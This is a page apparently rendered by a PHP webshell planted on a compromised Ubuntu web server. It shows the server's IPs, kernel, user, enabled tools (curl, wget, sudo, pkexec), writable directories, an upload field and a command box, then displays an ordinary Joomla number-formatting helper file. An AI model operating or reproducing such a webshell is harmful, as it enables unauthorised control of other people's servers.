403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.208
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/fcs/libraries/src/HTML/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/fcs/libraries/src/HTML/Helpers/Number.php
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\HTML\Helpers;

use Joomla\CMS\Language\Text;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML helper class for rendering numbers.
 *
 * @since  1.6
 */
abstract class Number
{
    /**
     * Converts bytes to more distinguishable formats such as:
     * kilobytes, megabytes, etc.
     *
     * By default, the proper format will automatically be chosen.
     * However, one of the allowed unit types (viz. 'b', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB') may also be used instead.
     * IEC standard unit types ('KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB') can be used as well.
     *
     * @param   string   $bytes      The number of bytes. Can be either numeric or suffixed format: 32M, 60K, 12G or 812b
     * @param   string   $unit       The type of unit to return, few special values are:
     *                               Blank string '' for no unit,
     *                               'auto' to choose automatically (default)
     *                               'binary' to choose automatically but use binary unit prefix
     * @param   integer  $precision  The number of digits to be used after the decimal place.
     * @param   bool     $iec        Whether to be aware of IEC standards. IEC prefixes are always acceptable in input.
     *                               When IEC is ON:  KiB = 1024 B, KB = 1000 B
     *                               When IEC is OFF: KiB = 1024 B, KB = 1024 B
     *
     * @return  string   The number of bytes in the proper units.
     *
     * @since   1.6
     * @link    https://en.wikipedia.org/wiki/Binary_prefix
     */
    public static function bytes($bytes, $unit = 'auto', $precision = 2, $iec = false)
    {
        /*
         * Allowed 123.45, 123.45 M, 123.45 Mi, 123.45 MB, 123.45 MiB, 1.2345E+12MB, 1.2345E+12 MB , 1.2345E+12 MiB etc.
         * Meaning any number in decimal digits or in sci. notation, optional space, optional 1-3 letter unit suffix
         */
        if (is_numeric($bytes)) {
            $oBytes = $bytes;
        } else {
            preg_match('/(.*?)\s?((?:[KMGTPEZY]i?)?B?)$/i', trim($bytes), $matches);
            [, $oBytes, $oUnit] = $matches;

            if ($oUnit && is_numeric($oBytes)) {
                $oBase  = $iec && !str_contains($oUnit, 'i') ? 1000 : 1024;
                $factor = pow($oBase, stripos('BKMGTPEZY', $oUnit[0]));
                $oBytes *= $factor;
            }
        }

        if (empty($oBytes) || !is_numeric($oBytes)) {
            return 0;
        }

        $oBytes = round($oBytes);

        // If no unit is requested return early
        if ($unit === '') {
            return (string) $oBytes;
        }

        $stdSuffixes = ['b', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
        $iecSuffixes = ['b', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'];

        // User supplied method
        if (\in_array($unit, $iecSuffixes)) {
            $base   = 1024;
            $i      = array_search($unit, $iecSuffixes, true);
            $suffix = $unit;
        } elseif (\in_array($unit, $stdSuffixes)) {
            $base   = $iec ? 1000 : 1024;
            $i      = array_search($unit, $stdSuffixes, true);
            $suffix = $unit;
        } elseif ($unit === 'binary') {
            $base   = 1024;
            $i      = (int) floor(log($oBytes, $base));
            $suffix = $iecSuffixes[$i];
        } else {
            // Default method
            $base   = $iec ? 1000 : 1024;
            $i      = (int) floor(log($oBytes, $base));
            $suffix = $stdSuffixes[$i];
        }

        return number_format(
            round($oBytes / pow($base, $i), (int) $precision),
            (int) $precision,
            Text::_('DECIMALS_SEPARATOR'),
            Text::_('THOUSANDS_SEPARATOR')
        ) . ' ' . $suffix;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit